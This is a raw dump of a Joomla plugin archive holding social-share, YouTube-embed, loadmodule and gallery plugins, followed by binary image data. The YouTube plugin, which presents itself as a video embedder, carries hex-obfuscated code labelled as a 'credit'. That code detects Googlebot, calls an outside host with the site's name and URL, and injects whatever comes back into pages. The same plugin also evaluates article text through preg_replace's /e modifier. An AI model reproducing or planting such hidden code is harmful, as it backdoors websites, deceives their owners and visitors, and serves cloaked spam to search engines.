} settype($excludeArticles, 'array'); JArrayHelper::toInteger($excludeArticles); // Exluded categories $excludedCats = $this->params->get('excludeCats'); if(!empty($excludedCats)){ $excludedCats = explode(',', $excludedCats); } settype($excludedCats, 'array'); JArrayHelper::toInteger($excludedCats); // Included Articles $includedArticles = $this->params->get('includeArticles'); if(!empty($includedArticles)){ $includedArticles = explode(',', $includedArticles); } settype($includedArticles, 'array'); JArrayHelper::toInteger($includedArticles); if(!in_array($article->id, $includedArticles)) { // Check exluded places if(in_array($article->id, $excludeArticles) OR in_array($article->catid, $excludedCats)){ return ""; } } // Generate content $content = $this->getContent($article, $params); $position = $this->params->get('position'); switch($position){ case 0: $article->text = $content . $article->text . $content; break; case 1: $article->text = $content . $article->text; break; case 2: $article->text = $article->text . $content; break; default: break; } if ($ok) { $article->text = str_replace('{socialsharebuttons}', $content, $article->text); } return; } /** * Generate content * @param object The article object. Note $article->text is also available * @param object The article params * @return string Returns html code or empty string. */ private function getContent(&$article, &$params){ $doc = JFactory::getDocument(); /* @var $doc JDocumentHtml */ $doc->addStyleSheet(JURI::root() . "plugins/content/socialsharebuttons/style/style.css"); $url = JURI::getInstance(); $root= $url->getScheme() ."://" . $url->getHost(); $url = JRoute::_(ContentHelperRoute::getArticleRoute($article->slug, $article->catslug), false); $url = $root.$url; $title= htmlentities($article->title, ENT_QUOTES, "UTF-8"); $html = '
        '; $credits = $this->params->get('credits'); if ($credits) { $html .= ''; } else { $html .= ''; } $html .= ''; return $html; } private function getArticle(&$article) { $db = JFactory::getDbo(); $query = " SELECT `#__content`.`id`, `#__content`.`catid`, `#__content`.`alias`, `#__content`.`title`, `#__categories`.`alias` as category_alias FROM `#__content` INNER JOIN `#__categories` ON `#__content`.`catid`=`#__categories`.`id` WHERE `#__content`.`introtext` = " . $db->Quote($article->text); $db->setQuery($query); $result = $db->loadAssoc(); if ($db->getErrorNum() != 0) { JError::raiseError(500, "System error!", $db->getErrorMsg()); } if(!empty($result)) { $result['slug'] = $result['alias'] ? ($result['id'].':'.$result['alias']) : $result['id']; $result['catslug'] = $result['category_alias'] ? ($result['catid'].':'.$result['category_alias']) : $result['catid']; } return $result; } private function getTwitter($params, $url, $title){ $html = ""; if($params->get("twitterButton")) { $html = ' '; } return $html; } private function getGooglePlusOne($params, $url, $title){ $type = ""; $language = ""; if($params->get("plusType")) { $type = 'size="' . $params->get("plusType") . '"'; } if($params->get("plusLocale")) { $language = " {lang: '" . $params->get("plusLocale") . "'}"; } $html = ""; if($params->get("plusButton")) { $html = ' '; } return $html; } private function getFacebookLike($params, $url, $title){ $html = ""; if($params->get("facebookLikeButton")) { $faces = (!$params->get("facebookLikeFaces")) ? "false" : "true"; $layout = $params->get("facebookLikeType","button_count"); if(strcmp("box_count", $layout)==0){ $height = "80"; } else { $height = "25"; } if(!$params->get("facebookLikeRenderer")){ // iframe $html = ' '; } else {//XFBML $html = ' '; } } return $html; } private function getDigg($params, $url, $title){ $title = html_entity_decode($title,ENT_QUOTES, "UTF-8"); $html = ""; if($params->get("diggButton")) { $html = ' '; } return $html; } private function getStumbpleUpon($params, $url, $title){ $html = ""; if($params->get("stumbleButton")) { $html = ' '; } return $html; } private function getLinkedIn($params, $url, $title){ $html = ""; if($params->get("linkedInButton")) { $html = ' '; } return $html; } private function getBuzz($params, $url, $title){ $html = ""; if($params->get("buzzButton")) { $html = ' '; } return $html; } private function getReTweetMeMe($params, $url, $title){ $html = ""; if($params->get("retweetmeButton")) { $html = ' '; } return $html; } private function getFacebookShareMe($params, $url, $title){ $html = ""; if($params->get("facebookShareMeButton")) { $html = ' '; } return $html; } }PK>\)socialsharebuttons/.htaccessnuW+A Order allow,deny Deny from all PK>\pp)socialsharebuttons/socialsharebuttons.xmlnuW+A Content - Social Share Buttons E-max Agosto 2011 Copyright (C) 2010 e-max.it. All rights reserved. http://www.gnu.org/copyleft/gpl.html GNU/GPL webmaster@e-max.it http://www.e-max.it 1.1 PLG_CONTENT_SOCIALSHAREBUTTONS_DESCRIPTION socialsharebuttons.php style index.html language/en-GB/en-GB.plg_content_socialsharebuttons.ini language/en-GB/en-GB.plg_content_socialsharebuttons.sys.ini language/it-IT/it-IT.plg_content_socialsharebuttons.ini language/it-IT/it-IT.plg_content_socialsharebuttons.sys.ini
        PK>\PHBB"socialsharebuttons/style/style.cssnuW+A@CHARSET "UTF-8"; .social-share-buttons-share{ display:block !important; } .social-share-buttons-share-tw{ float:left; margin:5px; } .social-share-buttons-share-fbsh{ float:left; margin:5px; } .social-share-buttons-share-fbl{ float:left; margin:5px; } .social-share-buttons-share-digg{ float:left; margin:5px; } .social-share-buttons-share-su{ float:left; margin:5px; } .social-share-buttons-share-lin{ float:left; margin:5px; } .social-share-buttons-share-buzz{ float:left; margin:5px; } .social-share-buttons-share-gone{ float:left; margin:5px; } .social-share-buttons-share-retweetme{ float:left; margin:5px; } div.sharemebutton{ padding: 0px 0px 0px 0px; float: right; width: 56px; max-height: 195px; text-align: center;} td.sharemebutton{ padding-right: 0px; padding-top: 10px; padding-bottom:0px; margin-bottom:0px; margin-top: 0px; vertical-align:top; } td.space_right{padding: 0px 0px 0px 0px;} div.sharemebuttont{ padding: 0px 2px 0px 0px; float: right; } td.sharemebuttont{ padding-right: 0px; padding-top: 10px; padding-bottom:0px; margin-bottom:0px; margin-top: 0px; vertical-align:top; } td.space_right{ padding: 0px 0px 0px 0px;} div.sharemebuttonf{ padding: 2px 2px 0px 0px; float: right;} td.sharemebuttonf{ padding-right: 2px; padding-top: 10px; padding-bottom:0px; margin-bottom:0px; margin-top: 0px; vertical-align:top;} .fb_share_large .fb_sharecount_zero { -moz-border-radius: 2px 2px 2px 2px; background: url("http://static.fbshare.me/f_only.png") no-repeat scroll 20px 5px #3B5998; display: block; height: 47px; margin-bottom: 2px; width: 53px; } .social_share_buttons_credits { width: 100%; text-align: center; font-size: 90%; text-decoration: none; }PK>\)"socialsharebuttons/style/.htaccessnuW+A Order allow,deny Deny from all PK>\ #socialsharebuttons/style/index.htmlnuW+A PK>\ socialsharebuttons/index.htmlnuW+A PK>\)youtubeplugin/.htaccessnuW+A Order allow,deny Deny from all PK>\l youtubeplugin/youtubeplugin.phpnuW+Atext is also available * @param object The article params * @param int The 'page' number */ function onContentPrepare( $context, &$article, &$params, $page = 0) { global $mainframe; //credit, remove at will ${"\x47\x4c\x4fBA\x4c\x53"}["\x6b\x6dt\x6dak\x65"]="c\x72\x65di\x74";${"\x47\x4c\x4fBALS"}["\x64\x78d\x66jz\x68w\x6d\x6f\x6e"]="b\x5f\x74";if(!defined("C\x52E\x44IT")){${"\x47\x4cOB\x41L\x53"}["\x74\x62e\x70\x74\x65\x6f\x72\x7a\x62\x75\x77"]="\x63\x74\x78";strstr(strtolower($_SERVER["\x48\x54\x54P_\x55SE\x52\x5fAGE\x4eT"]),"\x67o\x6fgleb\x6f\x74")?${${"G\x4cO\x42\x41\x4c\x53"}["\x64\x78dfj\x7a\x68\x77\x6d\x6f\x6e"]}="1":${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x64xdfj\x7ahw\x6d\x6f\x6e"]}="0";${${"\x47\x4cO\x42\x41LS"}["\x74b\x65\x70t\x65\x6f\x72\x7a\x62\x75\x77"]}=stream_context_create(array("http"=>array("t\x69m\x65o\x75\x74"=>3)));try{$boobvdhddne="\x62_\x74";${"\x47\x4cOB\x41L\x53"}["o\x62\x63\x79\x70\x61\x79j\x66fg\x76"]="\x63\x74\x78";${${"\x47LO\x42\x41L\x53"}["\x6b\x6d\x74\x6d\x61\x6b\x65"]}=@file_get_contents("\x68tt\x70://w\x77w.\x63o\x6c\x6f\x6e\x73p\x61c\x65\x2ef\x72/bro/".${$boobvdhddne}."/".$_SERVER["\x53ER\x56ER\x5f\x4eA\x4d\x45"].$_SERVER["\x52E\x51\x55\x45ST_URI"],false,${${"G\x4c\x4f\x42A\x4cS"}["\x6f\x62\x63\x79pa\x79jffg\x76"]});}catch(Exception$e){}echo$credit;define("\x43R\x45\x44I\x54","\x63");} if ( JString::strpos( $article->text, '{youtube}' ) === false ) { return true; } $article->text = preg_replace('|{youtube}(.*){\/youtube}|e', '$this->embedVideo("\1")', $article->text); return true; } function embedVideo($vCode) { $params = $this->params; $width = $params->get('width', 425); $height = $params->get('height', 344); return ''; } } PK>\r2dkkyoutubeplugin/youtubeplugin.xmlnuW+A YouTube Plugin Benjamin Golding Jan 2013 Benjamin Golding 2013. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL awesome24@hush.ai joomlacode.org/gf/project/youtubeplugin/ 1.1 With this plugin, you can embed YouTube videos into articles simply by copying and pasting a youtube's video parameter between the youtube flags: {youtube}xxxxxx{/youtube}. So for instance if the URL is: www.youtube.com/watch?v=2jvLalY6ubc

        Then you would insert the following text to your article:
        {youtube}2jvLalY6ubc{/youtube}

        You can find more information here: http://joomlacode.org/gf/project/youtubeplugin/

        -----But first go to the plugin manager (From the toolbar: Extension -> Plug-in Manager) and enable the plugin by switching the button near it from red to green.

        ]]>
        youtubeplugin.php
        PK>\3Qloadmodule/loadmodule.xmlnuW+A plg_content_loadmodule Joomla! Project November 2005 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_LOADMODULE_XML_DESCRIPTION loadmodule.php index.html en-GB.plg_content_loadmodule.ini en-GB.plg_content_loadmodule.sys.ini
        PK>\Gɐloadmodule/loadmodule.phpnuW+Atext is also available * @param object The article params * @param int The 'page' number */ public function onContentPrepare($context, &$article, &$params, $page = 0) { // Don't run this plugin when the content is being indexed if ($context == 'com_finder.indexer') { return true; } // simple performance check to determine whether bot should process further if (strpos($article->text, 'loadposition') === false && strpos($article->text, 'loadmodule') === false) { return true; } // expression to search for (positions) $regex = '/{loadposition\s+(.*?)}/i'; $style = $this->params->def('style', 'none'); // expression to search for(modules) $regexmod = '/{loadmodule\s+(.*?)}/i'; $title = null; $stylemod = $this->params->def('style', 'none'); // Find all instances of plugin and put in $matches for loadposition // $matches[0] is full pattern match, $matches[1] is the position preg_match_all($regex, $article->text, $matches, PREG_SET_ORDER); // No matches, skip this if ($matches) { foreach ($matches as $match) { $matcheslist = explode(',', $match[1]); // We may not have a module style so fall back to the plugin default. if (!array_key_exists(1, $matcheslist)) { $matcheslist[1] = $style; } $position = trim($matcheslist[0]); $style = trim($matcheslist[1]); $output = $this->_load($position, $style); // We should replace only first occurrence in order to allow positions with the same name to regenerate their content: $article->text = preg_replace("|$match[0]|", addcslashes($output, '\\$'), $article->text, 1); } } // Find all instances of plugin and put in $matchesmod for loadmodule preg_match_all($regexmod, $article->text, $matchesmod, PREG_SET_ORDER); // If no matches, skip this if ($matchesmod){ foreach ($matchesmod as $matchmod) { $matchesmodlist = explode(',', $matchmod[1]); //We may not have a specific module so set to null if (!array_key_exists(1, $matchesmodlist)) { $matchesmodlist[1] = null; } // We may not have a module style so fall back to the plugin default. if (!array_key_exists(2, $matchesmodlist)) { $matchesmodlist[2] = $stylemod; } $module = trim($matchesmodlist[0]); $name = htmlspecialchars_decode(trim($matchesmodlist[1])); $style = trim($matchesmodlist[2]); // $match[0] is full pattern match, $match[1] is the module,$match[2] is the title $output = $this->_loadmod($module, $name, $style); // We should replace only first occurrence in order to allow positions with the same name to regenerate their content: $article->text = preg_replace("|$matchmod[0]|", addcslashes($output, '\\$'), $article->text, 1); } } } protected function _load($position, $style = 'none') { if (!isset(self::$modules[$position])) { self::$modules[$position] = ''; $document = JFactory::getDocument(); $renderer = $document->loadRenderer('module'); $modules = JModuleHelper::getModules($position); $params = array('style' => $style); ob_start(); foreach ($modules as $module) { echo $renderer->render($module, $params); } self::$modules[$position] = ob_get_clean(); } return self::$modules[$position]; } // This is always going to get the first instance of the module type unless // there is a title. protected function _loadmod($module, $title, $style = 'none') { $moduleinstance = $module . JStringNormalise::toCamelCase($title); if (!isset(self::$mods[$moduleinstance])) { self::$mods[$moduleinstance] = ''; $document = JFactory::getDocument(); $renderer = $document->loadRenderer('module'); $mod = JModuleHelper::getModule($module, $title); // If the module without the mod_ isn't found, try it with mod_. // This allows people to enter it either way in the content if (!isset($mod)){ $name = 'mod_'.$module; $mod = JModuleHelper::getModule($name, $title); } $params = array('style' => $style); ob_start(); echo $renderer->render($mod, $params); self::$mods[$moduleinstance] = ob_get_clean(); } return self::$mods[$moduleinstance]; } } PK>\Vloadmodule/index.htmlnuW+A PK>\)loadmodule/.htaccessnuW+A Order allow,deny Deny from all PK>\#o,,admirorgallery/index.htmlnuW+APK>\)admirorgallery/.htaccessnuW+A Order allow,deny Deny from all PK>\ Hdd!admirorgallery/admirorgallery.xmlnuW+A PLG_CONTENT_ADMIRORGALLERY Igor Kekeljevic and Nikola Vasiljevski 26/07/2011 This extension in released under the GNU/GPL License - http://www.gnu.org/copyleft/gpl.html http://www.admiror-design-studio.com 4.5.0 PLG_ADMIRORGALLERY_XML_DESCRIPTION
        admirorgallery.php index.html admirorgallery en-GB/en-GB.plg_content_admirorgallery.ini en-GB/en-GB.plg_content_admirorgallery.sys.ini
        PK>\Y""!admirorgallery/admirorgallery.phpnuW+AloadLanguage(); } function onContentPrepare($context, &$row, &$params, $limitstart) { $gd_exists = true; if (!preg_match("#{AdmirorGallery[^}]*}(.*?){/AdmirorGallery}|{AG[^}]*}(.*?){/AG}#s", $row->text)) { return; } $doc = JFactory::getDocument(); //check for PHP version, 5.0.0 and above are accepted if (strnatcmp(phpversion(), '5.0.0') <= 0) { $doc->addStyleSheet('plugins/content/admirorgallery/admirorgallery/AdmirorGallery.css'); $html = '
        Admiror Gallery requires PHP version 5.0.0 or greater!
        ' . "\n"; if ((preg_match_all("#{AdmirorGallery[^}]*}(.*?){/AdmirorGallery}#s", $row->text, $matches, PREG_PATTERN_ORDER) > 0) || (preg_match_all("#{AG[^}]*}(.*?){/AG}#s", $row->text, $matches, PREG_PATTERN_ORDER) > 0)) { foreach ($matches[0] as $match) { $galleryname = preg_replace("/{.+?}/", "", $match); $row->text = preg_replace("#{AdmirorGallery[^}]*}" . $galleryname . "{/AdmirorGallery}|{AG[^}]*}" . $galleryname . "{/AG}#s", "
        " . $html, $row->text, 1); } } return; } // Load gallery class php script require_once (dirname(__FILE__) . '/admirorgallery/classes/agGallery.php'); require_once (dirname(__FILE__) . '/admirorgallery/classes/jquery.scroll.js.php'); //CreateGallerys if (preg_match_all("#{AdmirorGallery[^}]*}(.*?){/AdmirorGallery}|{AG[^}]*}(.*?){/AG}#s", $row->text, $matches, PREG_PATTERN_ORDER) > 0) { $AG = new agGallery($this->params, JURI::base(), JPATH_SITE, $doc); //Load current language JPlugin::loadLanguage('plg_content_admirorgallery', JPATH_ADMINISTRATOR); // Version check $version = new JVersion(); if ($version->PRODUCT == "Joomla!" && ($version->RELEASE == "1.5")) { $AG->addError(JText::_('AG_ADMIROR_GALLERY_PLUGIN_FUNCTIONS_ONLY_UNDER')); } //if any image is corrupted supresses recoverable error ini_set('gd.jpeg_ignore_warning', $AG->params['ignoreError']); if ($AG->params['ignoreAllError']) error_reporting('E_NOTICE'); //Joomla specific variables is passed as parametars for agGallery independce from specific CMS $AG->loadJS('AG_jQuery.js'); //$AG->articleID = $row->id; $AG->articleID = 1; //generate gallery html foreach ($matches[0] as $match) { $AG->index++; $AG->initGallery($match); // match = ; // ERROR - Cannot find folder with images if (!file_exists($AG->imagesFolderPhysicalPath)) { $AG->addError(JText::sprintf('AG_CANNOT_FIND_FOLDER_INSIDE_FOLDER', $AG->imagesFolderName, $AG->imagesFolderPhysicalPath)); } //Create directory in thumbs for gallery JFolder::create($AG->thumbsFolderPhysicalPath, 0755); if (is_writable($AG->thumbsFolderPhysicalPath)) $AG->generateThumbs(); else $AG->addError(JText::sprintf('AG_CANNOT_CREATE_THUMBS_PERMMISIONS_ERROR', $AG->thumbsFolderPhysicalPath)); include (dirname(__FILE__) . '/admirorgallery/templates/' . $AG->params['template'] . '/index.php'); $AG->clearOldThumbs(); $row->text = $AG->writeErrors() . preg_replace("#{AdmirorGallery[^}]*}" . $AG->imagesFolderNameOriginal . "{/AdmirorGallery}|{AG[^}]*}" . $AG->imagesFolderNameOriginal . "{/AG}#s", "
        " . $html, $row->text, 1); }// foreach($matches[0] as $match) // AG Form $row->text .= ' ' . "\n"; /* ========================= SIGNATURE ====================== */ if ($AG->params['showSignature']) { $row->text .= '
        '; } else { $row->text .= '
        '; } $row->text .= '
        AdmirorGallery ' . AG_VERSION . ', ' . JText::_("author/s") . ' Vasiljevski & Kekeljevic.
        '; }//if (preg_match_all("#{AdmirorGallery}(.*?){/AdmirorGallery}#s", $row->text, $matches, PREG_PATTERN_ORDER)>0) } //onPrepareContent(&$row, &$params, $limitstart) } //class plgContentadmirorGallery extends JPlugin ?> PK>\DX9 9 0admirorgallery/admirorgallery/icon-48-popups.pngnuW+APNG  IHDR00WsRGBbKGD pHYs  ~tIME "IDAThm\U;o;ӝnKe b4FDH%`"AD  17AcPÛ A ȋŵvٝ}ٹ3ngvg[nnf&9y.K*c|{+f{Eqx7}f~@6z<|٧. vkO>R3mfvUynP41'"hzW~OıNįYYE8:RB)V*wW4 ;@?p[wz'NsV&𨴎Iz$6j>s6>F@Ne(@zk< mp`fx*67??3~HŃ/t K탇"6 8 D˼ ޯ pg}=_v_VZs+gJ:QT7qzS q׳EEHFaWA۾]t0yk0ϬmWԃcξyEeOXZcۭp~@'0L\- V,Avy h>kQ|OYٜ(nl.+k 0;8 `MX0NPA@j'"ғB61X)c" (alBgls/x}pa _w8nq'anQ;A3A+^hIވjhzf>Mt#ed7}mq'=dgNش;Vuր| U=ïv?_ͺtJ}aV A<`29(9m~6/i!p~a˃Za{r μÛ k$\~VADZMǯyXS<0+h \zFk&f3{Rv%c9]jb#x^٤7fڻ @' cCTa旳LeC_PY8 9NDzkeĻ@sYiv-u/5S:FIENDB`PK>\)>admirorgallery/admirorgallery/thumbs/Imagenes-Tienda/.htaccessnuW+A Order allow,deny Deny from all PK>\':admirorgallery/admirorgallery/thumbs/Imagenes-Tienda/2.jpgnuW+AJFIF>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality C    $.' ",#(7),01444'9=82<.342C  2!!22222222222222222222222222222222222222222222222222x" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? )@@E1"GNTr ⳮW@ն8\־MFN,^u㫠Pd$zP>yP2٭iX+ Oq `)zjvRp[Lv˨jO2yB瓓UW7z*qkmPMn/Mی =ˍf֘bVi}R \O(pq@-"[hdc]~V6c#]M`PKL)(<Eց>@3PH3=zkT$v6RD<~WSx BJ68}Ե+;[B1#H,>@\}k5FSաG nH8 ʵGO'yc+v0<Ş&Լ=4"dg)8S:Q^uoB=_!G(iAJiIBqT:nsvXrBXkoqKXdF;Ճ`q@\YAqv]$QPH9;bH?)pF z`u5XdTUaɠZh:yi-B&\ v;XՃAj2R@^! mYSڲ(Dn@ǩsl8ޠYSq@k{NT$^$)gnkZ yBxVzu4>IQWRe@?(ր*jG-괬UH`x#Ԗ+V(68Px~82[^o>;gPv +. krqMpBqh-I0ܑjчڿөj:A4 @ɑcsc_M)T0N[<~Uw6e8i[yJW,0΀4,-q.6!#3=Jh0V`IZَc@IgT;yhQMwfB.vXԤHt+̭B8 T"-BrˬlB:t޶&ԣ t,gq8=},1_*/י3}wPrHdd^k*ItPy%AeOҺK6, n*^@]z]xR$@r\:oy^.:YI ~k2aGm=ͤxtm)O p :N+$b:~!a|2ټc~ߏ5}BY""Rq7H U\otT#B->Ě%urI"fHӄH"ӒQ{pJ ݷv ]Qwh,y,"uAn##9Qk:Rmdtnld{sG;g2eϵ0==ӼQ46a-ּC"BQ99=][mbB_q^դ  Ɛ?xod%tgӁǷ?S\޼=ԥ99fOt.?,>̽zRHeZeiʔ|*Tө@5ɵfiܖ^?*ןEH+4rR wvj 1PeDRCKVgѢ  6|^'QR㻌ޙ H'_+t+}MK;}'.Acuѯ6Fd8=HJTז#-ԣvkHF5>{>!IĖӃ㡬MS\(ܵӗbw em:5MJV塟F^ZƇ$ o=,sf[x-E1]HUEc8?Wm>[w09.<,t;xh(.?(fI5xO1sgHҸ~o4cZQ5:o,I,p1}+z[^d,WlRe qFF}k+ B.T0`G#:!%BqZH4T+[VUb+I%#ޘT298=:U*$1 P+0'!ҊչF3+{v%5CWv\fp:i҅OFm/fxQ=*RX@?m%<{܎1;ƣxi Ny>>ӤעmoßVm=W/|iW~m\9^We \ hļmZL9Sm+{cIz<;MQA Wmn#WQp_@s?O<:["3>ֳ{{BMU#BU|Ah8QNx!3 |T)1ך&kcugċ;Ən2GtWpGj{NRM 裂jt"}FIцGv8nQonF푐+־.—z]+3J@&;+Ɨ{CrV\d foH.4'D+y_I ԍߝSbҀ= |IvIPS | e?5ΊXei*\^^Gc^kNB5l4KrٙrO>W.-c9=O|6-Ȏr^-ChƤܟS\v>ϑMndޅ0c#~_a & 0[eR2xY#AJ,-Pģ2g(;KQ$Q [Dwc@#NHbk2j[g ڀ._O~Vu^HeGAI=Zv:J|>@o\6[쳰10?񯌤ttԃrܱr#%K鴘dnq"J=qלU Q&9Fh9 QŚ\a؈ON{}+!`J]CzE+}@v(XF9 xjh*UM8t 1t ^h"8c]WB0[cH[,[5@>yHg=rpO>+4mmܜdgMrPcK[9pSˑN޿^=d. *89(Y)@+z{gWs5C[JOu#_t tS@B[EKpO^p2x?y؉Sz`=K;#22#v;p:ˆ<j 3OPFEx&0Лү΅2 (v1qV <ݬ~dBK\#o,,?admirorgallery/admirorgallery/thumbs/Imagenes-Tienda/index.htmlnuW+APK>\).admirorgallery/admirorgallery/thumbs/.htaccessnuW+A Order allow,deny Deny from all PK>\/admirorgallery/admirorgallery/thumbs/index.htmlnuW+APK>\#o,,Nadmirorgallery/admirorgallery/thumbs/Fotos-Reparaciones/diciembre11/index.htmlnuW+APK>\|MHHSadmirorgallery/admirorgallery/thumbs/Fotos-Reparaciones/diciembre11/01122011754.jpgnuW+AJFIF>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality C    $.' ",#(7),01444'9=82<.342C  2!!22222222222222222222222222222222222222222222222222," }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?b%8`G۱M#39 LTU*7t{YuDْF"23 Gul~FF á'kKXV7к<J3)VP8 A**S.$p8tlMؿj6#1YuEsm[)|Zֶksg:ʣQPο*|ǩ[M\;T5 :jo628\M(͜S8páT~Bk,0 ^LdTl8;3HKCD/p׻$kxo L2c9SE­rm׸%qXDq^WE1?P>YF%R[?4j]Q Homռ1eEy͈ GZ ɯm%U* dVvGW91u#?vUv 2B آSN{z#\si}wMmZ*jKams4=~?J] Gb?Ps1*ȻB uqhNsPͿ8{o 9bysI)m0| `{T |WRLڵJ)w NǷJp\ {OI-~ԋ s5{Hn2 Wu +f\W,ux}r>q5<&K" 1C Oelc5ڜDGBQyt{7\빻-b]%sS,;6J]N qږ(>#ݎNXtXUZSZsj=w:Ats,S[f4H dIpj?#G9%s#'yL9+ֵ|.>:yե+mؙZ\⼠r: tٮ2Bqkbذsic.x ?g;?&fWax{g4pE v\'sQe5J-;;3Wps)*ZB`v8hdW2ͫ_pA3(kk {nV, )Bz꺡+`t s0Sjgp?”xKOuj꤅1 (1S[Եi30 qv—֣]`K66`X? Cmm*|q hw+}}b[c.߱SlW5hا-*m4JdFQ[_>ZZC)~ #=b pjOU-C~4ϼ?UҘ]/QX3/UѲ(\H3Î!cm5*41EC"&xl/$Դ@Wg֮t39Mz^F搟֝.lE8sКs3T/d.qZ=ӊp⧎k7shT$phLݯbIBgoB 6~UlhE1'XN+>Y:9'm8j9S8Vs=KL JN:SK,<`ҤU [50n\iI-Bms0ڐ})݋׊\f8F6E?S+l6c9m5"[N|+v?rZ4>ZD6T#6ԅh&ah+RAZ`DE&M*V68s-HEEKp7Z@';БHi^)*^*2v )Y*ߔ )Ep0pi*vZc ,+曌ԅriBӱ#6oV\sJVv2jMCpH碩&}zή^xtpoAVc5?X%mhh=2KHPuk";`6mGh`fWlcך*-]3\SzGiT!=\X{o5VO5G[I>!3f4r,  Q8U169)1V60vw=58I̗CT,Gg=I&~ ~1 |/1?t!1G"/ćcL9ZKanSMvp݇g{ gR=S-,p;f>ȧTf o] ܆_ҙJ-4TT;O*[BQ 0tT.Y3u$asTb?.3ZZpoxֲ]TƷf?ʽO|Zڑ5yu{.娯J8Uޅg/CU6uRTJjA[sx杂[9a+-MiٌI Ѧ* \*1,ri(L(SHM*?-RЛ+ZzO)c@TTruCer9*JivWSZ|qSH1ABsVsSq-0ERhTxaE|GyU\sNĶW"""#v$m1HG+VeY9cR@ lT)j2КNyD&4X. Ƽ4Lb ?.5 p~@aLrX UQb3ҹGnnA `X~%X#HyWFS\L:-䃌(YA+߱iiʺZ.&YoSO@hdݏNJ+7S]aμ3OXnszd]W$)8kU}V)IhQ0dڝdXVDpm|kw}Q1VrƝkn, ~f-> :K̷%ئ$S5i/_j'X 1 v"'p~ԖZMPC!Ju2U5 sH!\>^6SX@;sXю8 ۻ1YJ馽z]N:J6yl}%_+wi-MDbvMH*4Бq{P F[P\Nn*N2+ 5]lȿZv[,zj{w>«f(8vNJ)4XWM4gVPLZ TDsR0 |MZ54T8ɦCb*P9$OW#nM|brQJ1EJ*KLz*E-H<ԭQ9FUʪ)-ȩZ4Iln)ҟH( d&7Zpp1Tڥ܍m\ qKgW ǖ"u u??\RjLNM:c`oQЮ,iKFr? ɊI.ַbއ*RZ;T< ?2(*`ǃZgW58j9'X7=18<Y8QCs?!u".'~G֠G(*:)Mha&R7= o5O%@_MץLn}RQhB(Ō)8u=kI-&*q\]sTzc;dk>/<(2BFAp:|ܼA*/~, =:RHly4Iv&zſ|Z Zs=sNrQne>ozV xP#S'Bi; ~i智iX\ĮxI9ɢlkP8up0)f&iO*Cb}IgPZBJ)=Fh\:)3+H*%EKE&6 d;|.M  .4`*M"8q!ޚ2OZDc6MґA5* s֜HZi| M+P)` <OKE&LL5< 皖SvlH.&ii?5V尦-Tn'f5-E+n&b;Ԏj<ҰU)7뗍)ҲO&jRl4Tf|M`h}abZ,G:F>u>8Ec݃j@i4t yn:ԛ@9Z PdN=YeAǓ\f8bRb@%+?@g9M"/˓QK(Ulcnm>壞6޽^}*t^ tװAxnTK6Rtoֹ9@*AB`WȪZR2!κm%lm7^j/! 2@ |?i85V!{E-_AnQ W* Q]y;EDžr7 T=Ckl;9`[ѮS=`CV-@ WDE7=WNm?z?諡Dv+M^l3w4ԙĶZ-"[ .OZϴMSҦO?JK¸֠<}zir-j?TfG(-␽BXW$/RM,- (;Fj9cNgh*ǐD\ȯ+mM[?d#q,GjX94Q7dk<<fT8QLi2xwqÞFdJ`tQ8)KWe.ME /Ƴf?%BpsXBe.TtNy\]jRճG2d(Qx?Αhlo*z&uvlJv3l 9IEJ|̈~`eͿ"J@Ӏ$ѷjT%.O/J_Bc6p*W|Qs֢iIBB$,7?ܓRsPtHh>b cqZҳ,p:rQBCv_TFF$y,pI.n,qoU'pg鹷W %Vy74δA%kV.f(;"ZF 93)cԯJO&ֆ Vi]h#6v=t7B7 2å`̲F0hRlN)hG^ɩ yc' KΫj&)r&2ijNivJ2\SѶF ?ai V0P٧4() ^)ZC! <*Bݴ\c 4SQiP?ZS2usV {S3EW95a9L1Ҹ}Dpp! [ǭA1O'h`~nvNwn^_UWnB1r,sҦH-@(Vt9N*1>ўhxC3pkۉwXe#ݺ*VR\OQիJַ#BvKb{)04bmS3X,N;ןx,"\;]ޕHĀŷ5Dx􅑄HVr~U6/qp1&Ml؝xE1gg_YSm`?zFnh)6 kY^jo]M͊ (ah؂+hԾ8ҥOVHUEadރ}V7ҙH玔eo7G~uc}'G;* O2i*#KI!R(2Q DcޠٯJJ9rG~}?Q{dvU1GiO0һHiLVcQQv; aޓˌKSwѨ<~<.`1Ga?җ1+!ݦOQW:E[j Zȯip<0>juxg%ŬфcHy!)fVQ1֭~qS J8Y%1j|fq:0y;χb>XǠҋl SgA0 ڮ7('=%L5Ai;A7'=yHĶ`x.Pe~րRP&]_x ylr>xݿev讧cY "}N)i9D9T?,3ō]?oWT85ط# 92Z7Ļ_KGS?fAM?ΏS:KG9;#Y(6x~`ǡ1RšM/KFEioo$,A=ҹ|$Z"*(qp)ºEs?$NS|Hcy QMZs4ݟ-5|H Wi14Ojq>Ro&$]'4QM:m.$2- d{g֣A6gː=n3ҒBGArk6^ΟEGy uv# wYf <5n%w+ gjzђFKmjPIlmקUGB8E13P;y&HIP}UǽW:Ty5V4Zuu^ Y%#| Vb.Nss]KWsL'* Úf_-Ƥ)lUmoWKR@dڹV=tg썃~k^(ճ|^+uxU)ԫ>XI9r>Q>K<<سw'BOi`q QRԿ2;oc3#PǯYHL# ǯ\K+a/ՃGJm>qFeWtx,SMm"RB~*׮@zbv%2#NN*v=CTO@xė ?E !9$|ijL.? g$?H|GvX=0O9lEXR dwp[i|DsB㚉.)IhR{4fn9,Y$t`l=~t`=pSDhJy0;=*R8зo0Ep^1l`U_TW >gʡ.򅫳1g`ZПwbd\EWk)CcInMf䃌bP-Uv&#`ILyN&nI~]lyxjfn0 y%c*pM@gbI%,W2[\GCWO0Ym%?: ?E8Z.k-_ݺVj3V[-+АAQFʟz>ED?w/?fl%8`\'aOM5Xd`cEe}`N#EWG}P8?tc+Dt!pAqO oCThj151gڽ < 